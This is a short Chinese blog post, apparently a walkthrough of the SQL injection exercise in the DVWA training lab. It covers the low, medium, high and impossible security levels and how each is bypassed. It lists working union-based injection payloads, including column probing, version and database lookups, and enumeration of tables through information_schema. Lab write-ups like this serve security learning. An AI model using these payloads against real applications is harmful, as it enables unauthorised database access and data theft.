dvwa-sql注入

1、低级别

查看服务端提示代码,字符型,未做任何保护。

假设不确定服务端情况,测试1’,报sql异常,

测试1″,正常查询与样本一致,分析是单引号字符型。

测试查询字段数
1' order by 2#

确定输出点
1' union select 1,2#

常用函数
1' union select version(),database()#

查询当前数据库的数据表
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

2、中级别

查看服务端提示代码,使用mysqli_real_escape_string函数对id参数做了mysql敏感字符的检查,避免字符型注入

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

解决:对于中级别,id是数值型,可以不使用引号进行注入

注入过程可以使用burp,也可以直接基于浏览器修改选项的value进行提交,表单提交会对value进行url编码

1 order by 2

3、高级别

查看服务端提示代码,参数id是字符型,但是多了一个limit结构,没有使用mysqli_real_escape_string函数

解决:将参数之后的包括limit结构注释掉即可

1' order by 2#

4、不可能级别

查看服务端提示代码,参数id使用is_numberic函数进行检查判断是否为数值

 

posted @ 2023-04-21 14:00  挖洞404  阅读(20)  评论(0编辑  收藏  举报